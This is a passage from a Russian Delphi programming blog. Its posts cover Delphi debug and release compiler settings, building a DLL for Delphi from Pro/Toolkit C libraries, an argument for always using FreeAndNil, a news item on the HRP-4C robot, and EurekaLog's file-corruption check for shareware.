«Include remote debug info» - включаем только для удалённой отладки.

Профиль Release

Включаем «Use Debug DCUs».
Выключаем «Range checking», «Overflow checking», «Include TD32 debug info» и «Include remote debug info».

Примечание: если вы используете мало операций с индексами в своей программе (так что дополнительные проверки не замедлят её), то будет хорошей идеей всегда держать опцию «Range checking» включённой.

Debugging tips from Delphi 2009 Live!
Фото с Delphi 2009 Live!


Что может пойти не так, если настройки будут заданы неверно?

Ну, во-первых, это невозможность отладки (например, отсутствие информации для удалённого отладчика или выключенная опция «Debug information» (Compiler)), большой размер приложения (например, случайно забыли выключить «Debug information» (Linker)/«Include TD32 debug info»), медленная работа (например, компиляция с отладочным кодом), отсутствие или неполный стек вызовов в средствах диагностики исключений (например, выключили «Debug information» (Compiler)). В очень редких и запущенных случаях переключение опций может сказаться на работоспособности программы (например, установка Stack frames может снизить максимально возможную глубину рекурсии). Ну и недочёты по мелочи.
Кстати, если вы разрабатываете компоненты, то надо учитывать, что у Delphi есть именно два набора DCU-файлов, которые отличаются настройками компиляции. Вообще говоря, простое переключение опций, ответственных за генерацию отладочной информации никак не влияет на интерфейс и реализацию часть модуля. Но в общем случае код может использовать условные директивы. Поэтому может быть ситуация, когда два набора DCU файлов (скомпилированных с разными опциями) не совместимы друг с другом - потому что они использовали какую-либо директиву и содержат разный код (а вот и пример).
Поэтому вам тоже надо иметь два набора DCU-файлов: один - скомпилированный с опцией «Use Debug DCUs», другой - без. Причём, не важно включена или выключена опция «Debug information» (Compiler) в ваших настройках в обоих случаях.

Примечания:
(*) Например:
procedure TForm1.Button1Click(Sender: TObject);

procedure A;

procedure B;
begin // синяя точка слева от "begin" =>
// эта функция имеет стековый фрейм
ShowMessage(IntToStr(Integer(nil^)));
end;

begin // нет синей точки слева от "begin" =>
// это очень короткая процедура, поэтому
// стековый фрейм не нужен =>
// он не создаётся.
B;
end;

begin // нет синей точки слева от "begin" =>
// это очень короткая процедура, поэтому
// стековый фрейм не нужен =>
// он не создаётся.
A;
end;
Button1Click состоит всего из двух инструкций: "call A; ret;". Она очень короткая и не использует аргументы или локальные переменные. Поэтому, очевидно, что ей не нужен стековый фрейм. Когда опция "Stack frames" выключена, то для Button1Click стековый фрейм не создаётся (но он создаётся, если опция "Stack frames" будет включена).
Но, для более сложных процедур стековые фреймы будут генерироваться вне зависимости от установки опции "Stack frames".
Например, тоже очень короткая процедура B всегда имеет фрейм. Причина: использование типа String в ShowMessage. Компилятору нужно вставить неявную строковую переменную и неявный try/finally для её освобождения, поэтому процедуре нужен фрейм.
В реальных приложениях фреймы генерируются для 99% процедур.

Посмотреть текст целиком...

16 апреля 2009 г.

Pro/Engineer в Delphi aka компилируем DLL для Delphi из Сишных lib-ов

Решил записать одну свою историю - вдруг кому будет интересно/пригодится.
Небольшое предупреждение: я ничего не понимаю в языке С, поэтому здесь могут быть весьма грубые ошибки в высказываниях про него.

В общем, нужно было организовать взаимодействие с Pro/Engineer из своей программы. Поскольку пишу я на Delphi, то я (естественно) и решил использовать Delphi :)
Для взаимодействия, Pro/Engineer предлагает нам Pro/Toolkit. В папочке можно найти доки (*.html), заголовочники под C (*.h) и Сишные библиотеки (*.lib).
Если бы там была бы DLL-ка - этого поста бы не было. Потому что в этом случае я мог бы просто выкинуть lib-файлы, перевести h-файлы на Delphi и подключить готовую DLL-ку напрямую.
Но по какой-то причине никакой DLL нет, есть только lib (понятно, что это два разных случая - в первом в lib, грубо говоря, содержатся только ссылки на DLL, а во втором - там содержится вся реализация функций). Поэтому, единственный вариант использовать Pro/Engineer в Delphi - это собрать эту самую DLL-ку самому. Именно этому и посвящён этот пост.

Собираем DLL для Delphi из Сишных lib-файлов.



1). Создаём проект DLL в C++.

Для начала нам надо бы поставить MSVS (Microsoft Visual Studio), а точнее - её C++ часть. После установки я залез в File/New/Project и выбрал "Win32 Project". Затем указал тип проекта DLL и отметил галочку "Exports symbols" (в конце-концов, это единственное, зачем нам нужна эта DLL - чтобы она экспортировала функции из lib-файлов).
После сохранения (да, перед этим я удалил демо-код, который создал wizard) я создал подпапки includes и lib в папке с проектов, в которые перетащил *.h и *.lib файлы из папки с Pro/Toolkit. После чего, залез в настройки проекта и после 10-ти минутного копания в настройках нашёл опции, куда можно вписать эти два каталога ("Additional Include/Library directories").

2). "Подключаем uses-ы".

Далее, нам надо как-то подключить все заголовочники. Не проблема: вспоминаем свои навыки в DOS, открываем cmd, входим в каталог Includes (поскольку я использую Total Commander, то я сперва вошёл в каталог, а затем запустил cmd) и пишем:
dir *.h > t.txt
После этого мы получаем список всех файлов в текстовом файле t.txt. Они очень красиво расположены по колонкам, поэтому осталось только открыть файл в продвинутом редакторе (я воспользовался редактором Delphi) и удалить начала строк. Строки
...
2009.04.08 17:20 14'191 ProAnimate.h
2009.04.08 17:20 13'416 ProAnnotation.h
2009.04.08 17:20 31'698 ProAnnotationElem.h
2009.04.08 17:20 5'268 ProAnnotationFeat.h
2009.04.08 17:20 3'100 ProANSI.h
2009.04.08 17:20 6'621 ProArray.h
...
Становятся:
...
ProAnimate.h
ProAnnotation.h
ProAnnotationElem.h
ProAnnotationFeat.h
ProANSI.h
ProArray.h
...
После чего, два Search & Replace сделают нам:
...
#include "ProAnimate.h"
#include "ProAnnotation.h"
#include "ProAnnotationElem.h"
#include "ProAnnotationFeat.h"
#include "ProANSI.h"
#include "ProArray.h"
...
(к счастью, каждый заголовочник начинается с 'Pro', поэтому мне легко удалось сделать замену 'Pro' -> '#include "Pro').
Полученный текст я вставил в проект (насколько я понимаю, это можно сделать в главный cpp-файл или же в главный h-заголовочник проекта).

3). Подготовка списка функций.

Окей, следующий шаг - сказать, что каждая функция из этих заголовочников должна быть экспортирована. Для этого нам нужен список всех функций в h-файлах.

Я пробежался по исходникам и заметил, что каждая экспортируемая функция начинается с 'extern'. Следовательно, нам просто нужно вытащить все такие строки из всех h-файлов. Для этого, я сперва слил все файлы в один большой файл командой:
copy *.h data.txt
Получил один большой файл в 4 Мб. Далее, я помнил, что в DOS была вроде бы утилитка grep, которая могла дёргать строки из файла по условию - её также применяли для фильтрации вывода (и, вроде бы, она пришла из unix). Я попробовал вызвать grep из cmd на удачу - и, действительно, такая утилитка нашлась, хотя, как оказалось, она не входит в состав ОС, а была установлена с каким-то средством разработки (скорее всего - Delphi).
Почитав справку (grep ?), я запустил её с такими параметрами:
grep ^extern* data.txt > grep.txt
Я ничего не понимаю в регулярных выражениях и, по моему мнению, эта команда должна была выдернуть из файла все строки, начинающиеся с 'extern'. На самом деле она выдернула все строки, содержащие 'extern' (все лишние - это слова типа external и т.п.). Если указать "extern " - строк будет поменьше, хотя в заголовочниках также встречаются extern + TAB. TAB в командной строке мне задать не удалось. Поэтому сделал в несколько этапов: сперва
grep extern data.txt > grep.txt
Затем:
grep -v+ extern[a-z] grep.txt > grep2.txt
Конечный список пришлось слегка подрихтовать вручную. В итоге получил список типа:
...
ProMdlDisplay ( ProMdl model );
ProMdlErase (ProMdl handle);
ProMdlEraseAll(
ProMdlEraseNotDisplayed( void );
ProMdlfileCopy ( ProMdlType mdl_type,
ProMdlGtolVisit( ProMdl model,
ProMdlIdGet ( ProMdl model,
ProMdlInit (ProName name,
ProMdlIsModifiable(ProMdl p_model,
...
Потом пришлось написать небольшую программку на Delphi, которая обрезала бы скобки с параметрами (примитив, но как это сделать без программы - мне в голову не пришло).

4). "Выписываем exports".

Как только мы получили полный список функций - осталось оформить его в виде списка функций для экспорта из DLL. Для этого, насколько я помнил, в Сях есть def-файлы. Щёлкнув правой кнопкой по проекту в Solution Explorer, я выбрал Add new item, "Module definition file (.def)".
Далее, я запустил поиск по всему диску на *.def файлы, чтобы посмотреть - как же они должны выглядеть :)
Оказалось, что очень просто. Я просто взял список функций с предыдущего шага и вставил его в def-файл вот так:
LIBRARY ProEToolkit
EXPORTS

Pro2dCadamImportCreate
Pro2dExport
Pro2dImportAppend
Pro2dImportCreate
ProAccessorywindowCreate
ProAnalysisAttrIsSet
...
Осталось щёлкнуть по Build и... получить кучу сообщений о unresolved external symbol. Что есть логично - ведь никакой lib-файл мы ещё не подключили. У нас объявлена куча экспортируемых функций, но линкёр не знает, где брать реализацию.

5). Поиск реализации.

Побегав ещё пять минут по опциям проекта, я нашёл опцию "Additional dependencies", где увидел вписанные kernel32.lib, user32.lib, gdi32.lib и т.д. Туда же я добавил protk_dllmd.lib. Собственно, у Pro/Engineer-а есть такие файлы:
protkmd.lib
protkmt.lib
protk_dll.lib
protk_dllmd.lib
protoolkit.lib
ptasyncmd.lib
ptasyncmt.lib
ptasync_coremt.lib
pt_asynchronous.lib
На всякие разные случаи. Ведь можно писать плагин для ProE, а можно - совершенно внешнюю программу. Плюс разные варианты одного способа. Например, есть подозрение, что mt - это от MultiThreaded, т.е. этот вариант либы скомпилирован с многопоточной версией RTL (или как так это в Сях называется). Я взял наугад (окей, вообще документацию надо читать, но мне лениво). Сборка.... и всего 8 функций не хватает. Причём все предназначены для установки соединения с Pro/Engineer. Похоже, этот вариант lib - для плагинов. Потыкавшись ещё наугад, у меня ничего путного не вышло. Ладно, пора читать документацию :D Быстро пробежавшись по докам, выясняем, что нам нужен так называемый асинхронный режим, для которого нужно подключать pt_asynchronous.lib. К сожалению, этого не достаточно для успешной компиляции, поэтому я запустил поиск файлов в папке Pro/Toolkit, содержащих слово 'pt_asynchronous'. И нашёл пример (файл make_async):
# Libraries
PTCLIBS = $(PRODEV_SYS)/obj/prodevelop.lib $(PROTOOL_SYS)/obj/protoolkit.lib \
$(PROTOOL_SYS)/obj/pt_asynchronous.lib
LIBS = libc.lib kernel32.lib user32.lib wsock32.lib advapi32.lib mpr.lib winspool.lib netapi32.lib psapi.lib


# Object files
OBJS = pt_async_src.obj pt_utils.obj
Возможно, можно было бы просто использовать готовый make-файл, но я не умею с ними работать. Поэтому я просто взял список lib-файлов. Кстати, в этом списке оказались и некоторые стандартные (не Pro/Engineer-ные) lib-ы, которых не было в настройках моего проекта. Однако, глянув в папку, я увидел так ещё make_async_md и make_async_mt. Судя по описанию в комментах, мне подходит именно make_async_md, хотя никакого pt_asynchronous у него не указано.
Запустив повторный поиск по документации с именем make-файла (это ведь make-файлы?), я, наконец, нашёл нужную информацию:
Standard Libraries
Most Pro/TOOLKIT users will be able to use the standard Pro/TOOLKIT libraries. These libraries are available on all platforms and are used by the majority of Pro/TOOLKIT sample applications.

Library Name
Purpose
protoolkit.lib (.a) Spawn mode library
pt_asynchronous.lib (.a) Asynchronous mode library
protk_dll.lib (.a)DLL mode library


Alternate Libraries
Pro/TOOLKIT offers alternate libraries that may be useful for specialized applications. These libraries are similar to the standard Pro/TOOLKIT libraries in content, but differ in their construction. This makes them compatible with other static and dynamic libraries.

Multi-Threaded DLL Libraries for Windows
Library Name
Purpose
protkmd.lib Spawn mode library
ptasyncmd.lib Asynchronous mode library
protk_dllmd.lib DLL mode library


Multi-Threaded DLL (MD) libraries are used to build a multithreaded DLL for Windows using the /MD compiler flags. You can use these libraries for the following type of applications:
  • DLL mode applications compiled with the MD flags (if required to link with other MD compiled libraries).
  • Asynchonous mode applications compiled as DLLs to be loaded into processes external to Pro/ENGINEER.
The makefiles make_install_md and make_async_md build with these libraries.

Note: Although the library flags provide compatibility with multithreaded components, Pro/TOOLKIT calls must be made within a single thread. Pro/ENGINEER does not respond to calls made from multiple threads.

Multi-Threaded Libraries for Windows

Library Name
Purpose
protkmt.lib Spawn mode library
ptasyncmt.lib Asynchronous mode library


Multi-Threaded (MT) libraries are used to build a multithreaded executable for Windows using the /MT compiler flags. You can use these libraries for spawn and asynchonous mode applications compiled as executables (.exe). The makefiles make_install_mt and make_async_mt build with these libraries.

Note: Although the library flags provide compatibility with multithreaded components, Pro/TOOLKIT calls must be made within a single thread. Pro/ENGINEER does not respond to calls made from multiple threads.
Откуда окончательно следует, что нам нужен вариант "Multi-Threaded DLL Libraries for Windows" для "Asynchronous mode library" и нас интересует файлик make_async_md (всё-таки я угадал верно).

6). Подключаем реализацию.

Ладно, после прописывания библиотек (кстати, во всех файлах первой идёт ссылка на несуществующую lib-у со словом 'develop' в названии - я её просто выкинул) и компиляции получаем конфликты линковки (unresolved symbol-ов уже нет): одна и та же функция входит в несколько lib-файлов. Компилятор MSVS посоветовал использовать ключ /NODEFAULTLIB. Покопавшись в опциях проекта, я решил, что это будет опция "Ignore specific library". Я списал туда msvcrt.lib и проверил, что это именно то, что мне нужно - увидев в командной строке линкёра слова '/NODEFAULTLIB:"msvcrt.lib"'. Правда, от этого стало только хуже: похоже линкёр вообще на неё забил, и я получил кучу unresolved symbols. Тогда я подсмотрел ещё раз в make_async_md и увидел такие строчки:
$(LINK) /dll /force /ignore:4006 /subsystem:console -out:$(EXE) /debug:none
Похоже, что здесь линкёр запускается с доп. параметрами /force и /ignore:4006 - я просто добавил эти параметры в "Additional parameters" в опциях командной строки линкёра проекта.
Сборка... и успешно! Правда, линкёр ругнулся (warning-ом) на мой флаг: "image being generated due to /FORCE option; image may not run". Тем не менее, DLL-ка была получена всего с 1-м варнингом.

А самое главное, что эта DLL даже работает! :D

Совсем неплохо для того, кто в первый раз запустил MSVS? Вообще, это был мой первый проект на Сях.
Мораль сей истории: не будьте беспомощны! Вы сами можете найти ответы на вопросы! Гугл + эксперименты - и у вас всё получится.

P.S. Да, кстати, я там ещё в опциях проекта нашёл опцию генерации map-файла - пригодится для отладки: EurekaLog его подцепит, если вдруг будет исключение в этой DLL.
P.P.S. Вообще-то я сделал эту DLL ещё год назад, просто недавно мне нужно было использовать новую функцию, а её не оказалось в этой DLL - при сборке первый раз она не попала в def-файл (там был случай extern + TAB - я эти случаи не заметил в первый раз). Поэтому пришлось DLL-ку пересобрать. Ну и заодно решил рассказать об этом здесь. Откровенно говоря, чтобы придумать план генерации DLL по lib-ам и использования уже готовой DLL в Delphi, мне пришлось предварительно погуглить. Я вообще сперва думал, что использовать Pro/Engineer в Delphi невозможно и боялся, что придётся изучать новый язык :) Не, не пришлось.

Посмотреть текст целиком...

15 апреля 2009 г.

Почему всегда нужно использовать FreeAndNil вместо Free

Это - собранные в кучу посты, которые потянулись за этим высказыванием.
Внимание! Пост направлен на обоснование моей точки зрения :D Просьба все негативные проклятия изливать в своих блогах, а здесь - высказываться конструктивно и по-существу ;)
Также эти мысли вошли в пост блога EurekaLog.
Примечание: если вы плохо или совсем не понимаете, что такое указатели и/или объекты - рекомендую сначала прочитать эту статью.

Рассмотрим типичный код создания и удаления объекта, как его обычно приводят:
...
var
SomeObj: TSomeClass;
...
SomeObj := TSomeClass.Create;
try
...
finally
SomeObj.Free;
end;
...
Однако, я хочу показать, что вызова Free следует избегать, где это возможно, заменяя его на вызов FreeAndNil, вот так:
...
var
SomeObj: TSomeClass;
...
SomeObj := TSomeClass.Create;
try
...
finally
FreeAndNil(SomeObj);
end;
...
Заметьте, что речь идёт именно о замене Free на FreeAndNil везде. Не просто об использовании FreeAndNil, когда вы хотите проверять ссылку на nil, а именно - целиком и полностью везде. Т.е. не писать Free вообще никогда. Да, включая сценарии с локальными переменными.

Почему? Ну причина проста - нет никаких доводов так не делать (пожалуйста, дочитайте до конца). Зато есть доводы против использования Free в этих ситуациях.


Обычно "против" выдают такие доводы:

1. Ну, например: Free + nil не полностью эквивалентен FreeAndNil ("использовать FreeAndNil нужно аккуратно, потому что несмотря на название, там сначала происходит обнуление ссылки, а потом вызов Free. Если в деструкторе или методах из него вызванных нам ссылка нужна - приплыли. Например, поле класса. Мы его занулили, потом вызвали деструктор, а внутренний класс может что-то потребовать у внешнего, в т.ч. через это поле").

Это как раз плюс. Помогает отловить плохие ситуации. Потому что в описываемой ситуации идёт ссылка на объект через переменную, а не через Self. Заодно и избавимся от плохого стиля.
Кроме того, зачем это внешнему классу что-то требовать у своего поля в момент удаления этого поля? По-моему, это логическая ошибка в явном виде (обращение к объекту в момент его удаления, т.е. к частично-инициализированному объекту). И вот использование FreeAndNil как раз позволит отловить такие ситуации. Конечно, такая ситуация может быть заранее предусмотрена, но это совершенно некрасиво (шаг в сторону, любое изменение кода "не в тему" и ваш код перестанет работать). В любом случае, такая ситуация не плавающая и обнаружится сразу же. После чего вы спокойно вернёте Free на место.

2. Другое возможное возражение: привести пример оправданного использования FreeAndNil.

Не очень понятно, какого рода пример тут можно привести. Ведь использование FreeAndNil вместо Free - это же совершенно опциональное действие. Не считая запутанных примеров, один и тот же корректный код будет работать совершенно одинаково, что с Free, что с FreeAndNil.
FreeAndNil чем-то подобен ремням безопасности: если прогон прошёл в штатном режиме - они не пригодились. Но если ваш код где-то напутал в последовательности действий, то FreeAndNil (как и ремни безопасности) защитят вас от последствий. Обнулив ссылку, FreeAndNil поможет поймать левое обращение сразу же, на месте. Без него код мог продолжить своё выполнение и дать неверный результат без возбуждения ошибки. Это очень опасно.
Замечу, что, тем не менее FreeAndNil - это НЕ панацея, т.к. обращение к объекту может идти по нескольким переменным.

3. FreeAndNil тут излишен! (локальные переменные)

Локальную переменную могут потом сделать глобальной или частично-глобальной. FreeAndNil защитит нас от double-free. Просто Free - нет. Очень большое количество кода получается использованием copy-paste. Если стоит Free, то, скопировав код в другое место (где у переменной другая область видимости или она повторно используется) мы можем получить проблемы - с FreeAndNil таких проблем нет. Кроме того, если у вас большая процедура, то вы можете, не заметив, дважды использовать одну переменную (например - в цикле). Всегда используя FreeAndNil вы делаете свой код безопасным (к модификациям).
Кроме того, это единообразие стиля. Удобно, когда везде написано FreeAndNil вместо помеси Free/FreeAndNil. И сам не запутаешься, когда что ставить ("ааа, здесь надо FreeAndNil или можно просто Free?!!").

Если в каких-то ситуациях FreeAndNil действительно излишен, то чего ж вы тогда не используете вызов Destroy? Ведь Free во многих ситуациях тоже излишен (я ни в коем разе не имел ввиду деструктор! Я сказал: во многих случаях. Случай удаления частично-инициализированного объекта в них, разумеется, не входит).
Заметьте, что в 99% кода на Delphi деструктор объектов не вызывается вообще! Нас уже приучили использовать вызов процедуры Free. А ведь когда-то народ, просто привыкший везде писать Destroy, тоже кричал: "зачем нам этот Free? Не нужен он тут! Где надо, я сам всё поставлю!". Ну и что? Пишем же мы сейчас все Free? (ладно, вообще-то этот пример - не факт, а моя фантазия, т.к. я уже начал подзабывать - как оно там на самом деле было, в те времена. Но могу легко себе это представить, и, вроде бы, это кажется правдоподобным :) ).

Ну так вот я агитирую за то, чтобы сделать ещё шаг вперёд: использовать FreeAndNil вместо Free. Ведь польза от перехода Free -> FreeAndNil гораздо больше, чем польза от уже случившегося перехода от Destroy к Free.
В первом случае мы получаем авто-защиту от плавающих ошибок (как я уже сказал, это не панацея, но, тем не менее, - существенный бонус). Во втором случае мы получили всего лишь возможность не писать явно if. Почему? Потому что если бы мы явно вызывали Destroy, вместо Free, то мы запустили бы деструктор с Self = nil, что немедленно привело бы к AV при первом же обращении к полю объекта. Ошибка совершенно не плавающая и легко отлавливается. Т.е. это чисто экономия времени на ввод, без дополнительных бонусов. Согласитесь, что бонус от первого перехода ("защита от ошибок") намного более существенен, чем бонус от второго ("короче писать"). Тем более, что вы можете не терять бонус "короче писать", введя процедуру с именем F, которая будет просто вызывать FreeAndNil.

4. Ещё один аргумент против: использование Free вместо Destroy, настоятельно рекомендуется самим CG, чего не скажешь про FreeAndNil.

Я уже привёл аргументацию, что переход Free -> FreeAndNil имеет бОльшую ценность, чем переход Destroy -> Free. С учётом этого, аргумент отсутствия официального "добро" на FreeAndNil выглядит бледно.

5. Тем не менее, большинство людей, которые слышат о доводах к повсеместному использованию FreeAndNil вместо Free, утверждают, что это перебор.

Ну а почему?

Обычно ссылаются на силу привычки: "Free пишу на автомате, не задумываясь".

Кстати, второе возражение аналогичного плана - что Obj.Free короче, чем FreeAndNil(Obj); Это начинаются совсем уж мелкие придирки, потому что, даже если вы не имеете возможность использовать Code Templates, всегда можно ввести свою функцию F(Obj), которая будет просто вызывать FreeAndNil(Obj);

Но вот аргумент привычки - это достаточно серьёзный контр-довод.

Что я могу сказать? Хм, ну а вот у меня уже привычка писать FreeAndNil :) Тоже на автомате. Я себе даже Code Template на F + Tab забиндил: автоматом вставить FreeAndNil(Obj) и выделить Obj, чтобы я сразу впечатал имя переменной. Очень удобно, всего две кнопки, и скобки ставить не надо.

Этой статьёй я как раз хочу показать, что в данном случае имеются веские доводы к смене своих привычек. Конечно, ломать привычки - для этого нужен серьёзный повод. И вот тут мы подходим к...

6. Безопасность программирования.

Многие говорят, что опытный программист может ставить FreeAndNil только там, где это необходимо. Если грамотно использовать объекты (например, уничтожать объекты исключительно в деструкторе), то не будет нужды в FreeAndNil.

Но это не верно. Вы не можете этого знать.

Представим, что в деструкторе объекта (объект-контейнер) мы удаляем объектное поле с помощью Free. В деструкторе этого поля вызывается виртуальный метод, который ничего не делает в базовом классе, а в каком-то далёком предке вызывает последовательность действий, которая приводит к вызову виртуального-же метода объекта-контейнера. Который, в свою очередь, в каком-нибудь далёком предке (ошибочно) обращается к нашему удаляемому полю. При этом, обращение проходит на ура, но общее состояние становится безвозвратно испорченным. Упс.

Почему я тут везде поставил виртуальные методы? Затем, чтобы нельзя было сказать: вот, смотрите, в моих классах нет нужды использовать FreeAndNil. Дело в том, что вы не можете этого знать! Вы-то создали чистую реализацию, а вот кто-нибудь другой создаст наследника, в котором неаккуратно вызовет в деструкторе какой-нибудь метод, приводящий (быть может далеко косвенно) к чтению уже удалённых или находящихся в процессе удаления объектов. FreeAndNil защитит вас от такой ситуации, Free - нет.

Далее, если продолжить мысль с вставкой FreeAndNil только в необходимые места - так ведь речь как-раз идёт о том, что это не всегда бывает видно. Взяв в привычку повсеместно писать FreeAndNil вы избавляете себя от этих проблем. И не надо ломать голову.
Проблема даже в том, что если вы привыкли использовать Free, то во большинстве случаем вам даже не придёт в голову задуматься: а не нужен ли здесь FreeAndNil? (хороший пример с деструктором объекта выше: вот могли ли вы предусмотреть эту ситуацию заранее?). И вот отсюда-то и лезут проблемы.
Как я уже сказал: FreeAndNil - это ремни безопасности. Осталось только это осознать.

Так вот, на мой взгляд, потенциальный бонус помощи в локализации плавающей ошибки (которая вообще может не проявиться, хотя бы в виде исключения) перевешивает необходимость смены привычки.

_________________________________________________________

Итак.

Так зачем же медлить? Почему бы, начиная с сегодняшнего дня, везде не использовать FreeAndNil вместо Free? Если вы сделаете это своей привычкой - вы ничего не потеряете, а, наоборот, приобретёте немалые бонусы.

Я не единожды сталкивался с трудно выловимыми багами в чужом коде со сложной иерархией классов. Потратив несколько часов на бесплодные попытки найти источник проблем "в лоб", просто тупо заменив все Free на FreeAndNil, проблема находилась сразу же (но вот над решением проблемы приходилось ещу долго думать).

Тем не менее, я подозреваю, что большинство людей, даже если они согласятся с приведённой выше аргументацией, не будут ломать свои привычки только по той причине, что "кто-то там что-то сказал". Они не встречались с такой ситуацией - значит, её нет (пока гром не грянет...). Как я уже сказал, FreeAndNil - это ремни безопасности. Пока какой-нибудь косяк не ударит вас сильно по носу, вы, скорее всего, не будете его использовать. Но уж будьте уверены, что когда он ударит - это будет весьма болезненно. Вы можете потратить на отладку кучу времени.

Примечание: всё вышесказанное является только моим мнением. Я просто высказал точку зрения и привёл её аргументацию. Следовать этой рекомендации или нет - целиком ваше решение и я приму его, какое бы оно ни было. Если вы признали, что подобная точка зрения имеет право на жизнь - моя задача выполнена.

Посмотреть текст целиком...

14 апреля 2009 г.

Прочее

Четвёртый пост серии - прочие темы.

Типы дынных WinAPI (для самих новичков).
Глюки любимой 7-ки?

Посмотреть текст целиком...

13 апреля 2009 г.

Орешник

Пост третий из серии - перлы новичков.

Перл 1.
Перл 2.
Перл 3 (из серии сага о X, Y, Z).
Перл 4 (из той же серии).

Читать далее.

Посмотреть текст целиком...

12 апреля 2009 г.

Трюки в Delphi

Второй пост из серии внешних ссылок.

Вызов метода не зная его сигнатуры.
Несколько копий одной версии Delphi на машине (разные профили настроек).

Читать далее.

Посмотреть текст целиком...

11 апреля 2009 г.

HRP-4C - железная леди



Идея использовать для выступлений на подиуме андроидов могла придти в голову только в Японии. Пока Америка делает военных роботов для мирового господства (это я про Big Dog), Япония направляет свои продвинутые технологии в мирных, полезных роботов. И, судя по HRP-4C, получается у них это неплохо.



Ученые из японского университета the National Institute of Advanced Industrial Science (AIST) поставили во главу угла внешний вид робота, и создали HRP-4C. Новинка выглядит как симпатичная женщина 19-29 лет, весит она 43 кг, рост ее составляет 158 см. Все это неспроста, так как разработчики позиционируют HRP-4C как робота, способного работать моделью на показах одежды. Недаром она будет представлена на модном показе в Токио. Создатели позаботились и о такой незаменимой функции робота, как умение балансировать на высоких каблуках.

30 моторов по всему телу позволяет HRP-4C свободно двигаться. Еще восемь движков расположены на лице. Благодаря этому робот может имитировать мимику человека. Японские ученые сочли раздражение и удивление основными «модельными» эмоциями, и наделили ими свое детище. А для того, чтобы робот мог взаимодействовать с человеком, он оснащен функцией распознавания речи.


Официальный дебют робота-девушки состоялся на Токийском показе мод в конце марта. Андроид будет продаваться (или уже продаётся) за примерно 200'000 $. Да, точно: продаётся. Копите денюжку, господа! ;)

Так что, пока некоторые шутят по поводу "твёрдости её форм", мы можем смело поздравить японцев с удачным проектом.

Видео 1 (более старое):


Видео 2 (более новое):


Посмотреть текст целиком...

Vista-talks

Недавно пролистывал свою историю сообщений на форуме в поиске конкретного топика - и подумал, что там есть много всего, что может быть интересно. Решил собрать ссылки в кучку. Разумеется, когда я буду давать ссылки, то надо понимать, что главная причина - потому что там есть мои реплики :)))) Ссылки собирал с ВинГрада, на котором я относительно недавно - так что мало их будет. Потом буду добавлять по мере нахождения свободного времени ;)
Сегодняшний пост - о Vista (хотя получилось в контексте вопроса о хранении настроек).

ini-файлы vs реестр.
Место хранения настроек.

Читать далее.

Посмотреть текст целиком...

27 марта 2009 г.

Танцы с Media Player Classic

Где-то полтора месяца назад у меня пропал звук в Media Player Classic.
Ну пропал и пропал - правой по файлу -> открыть в WMP - и как-то смотрю. А времени разбираться не было.
А вот вчера выдалось чуток свободное время, я как раз посмотрел фильм (в WMP) и вспомнил про сей баг.

Чего только я с ним не делал. Все настройки громкости перерыл. Все кодеки переустановил по 6 раз. Ничего не помогает.

Везде звук есть - в MPC нет!

Не знаю, что меня торкнуло, но я просто ПЕРЕМЕСТИЛ его в ДРУГУЮ папку.
...и он заработал!

Блин. Ну как так?

Ладно бы ещё из Program Files я бы его переместил в другую папку - ну вроде как проблемы с правами доступа были бы. Так ведь нет же - переместил из под-папки C:\Program Files\K-Lite Codec Pack\ в саму папку C:\Program Files\K-Lite Codec Pack\. Зло. А главное споткнулся он на пустом месте. Ничего вроде бы не делал тогда - а звук пропал.

Посмотреть текст целиком...

28 февраля 2009 г.

Обзор EurekaLog на русском

Не то, чтобы сильно было надо писать этот пост, но в архивах так красиво посты выровнены по 5 штук в месяц, что я решил не нарушать порядок XD
Собственно сам обзор (осторожно: большой документ) является частью моей статьи про исключения.
Посмотреть текст целиком...

22 февраля 2009 г.

EurekaLog с точки зрения ShareWare-разработчика

Пост блога EurekaLog.

Сегодня я хочу пройтись по тем возможностям EurekaLog, которые могут заинтересовать разработчиков shareware программ.

Примечание:
Обратите внимание, что пост называется "EurekaLog с точки зрения ShareWare-разработчика". Т.е. здесь написано о том, на что нужно обратить своё внимание в EL разработчику shareware-программ. Здесь НЕ говориться о том, как писать shareware-программы, и/или стать shareware-разработчиком.

1. Проверка файла на изменение.

В первую очередь, конечно же, хотелось бы обсудить опцию "Check file corruption", которую вы можете найти в опциях EurekaLog для проекта, на вкладке “Build Options”:

Опция Check file corruption

В первую очередь хорошо бы заметить, что эта опция расположена в разделе именно “Build Options” (опции сборки). Что бы это значило? Ну, это означает, что при включении опции EurekaLog будет вычислять CRC вашего exe-файла и записывать её в стандартное поле CheckSum запись _IMAGE_OPTIONAL_HEADER. Да, в очень стандартное (и документированное) поле в PE-заголовке.

Когда ваше приложение запускается, код EurekaLog вычисляет CRC вашего модуля и сравнивает его со значением, хранящимся в поле CheckSum заголовка. Если ваш модуль был изменён, то эти значения не совпадают и EurekaLog показывает соответствующее сообщение, после чего немедленно закрывает вашу программу:

Диалог об обнаружении изменения файла

Как видите, это очень простая проверка.

Поскольку ничего не препятствует взломщику в изменении поля Checksum в заголовке файла на новую CRC после изменения, то этот механизм не должен рассматриваться как сколь-либо серьёзная защита. Его назначение в проверке файла на непреднамеренные изменения. Не нужно считать его серьёзной линией обороны против взлома. Если вы хотите защитить свой файл именно от взломщиков (crackers) (а не от простых изменений), то вам нужно разворачивать свою собственную защиту (ладно, многие из так называемых крякеров не способны обойти даже такую простую проверку, но это уже другая история).

Ещё один момент, связанный с этой опцией, - использование файловых компрессоров или цифровых подписей. Видите-ли, как только вы сжали свой файл каким-либо файловым компрессором (например, UPX) или же снабдили его цифровой подписью - то ваш файл тут же изменился, что означает неудачу проверок CRC EurekaLog при запуске. С вашей точки зрения это выглядит так: программа работает, вы её сжали и/или подписали - она не работает. Тут важно заметить, что сжатие файла или его подпись уже включают в себя проверки целостности. Поскольку сжатые данные намного более чувствительны к повреждениям, то все современные компрессоры включают в себя какой-либо механизм проверки файла на изменения перед распаковкой - примерно по той же схеме, что это делает EurekaLog. Аналогичные замечания применимы и к файловым цифровым подписям. Если приложение снабжено цифровой подписью, то уже загрузчик ОС (а не само приложение) проверяет его перед запуском, чтобы убедиться, что цифровая подпись не была нарушена. Короче говоря, вывод здесь простой: если вы используете компрессор или цифровую подпись, то вы спокойно можете (и должны) выключить опцию “Check file corruption”.

